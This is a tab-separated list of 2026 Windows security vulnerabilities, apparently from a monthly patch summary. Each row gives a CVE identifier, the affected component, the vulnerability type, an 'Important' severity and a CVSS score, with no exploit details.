CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
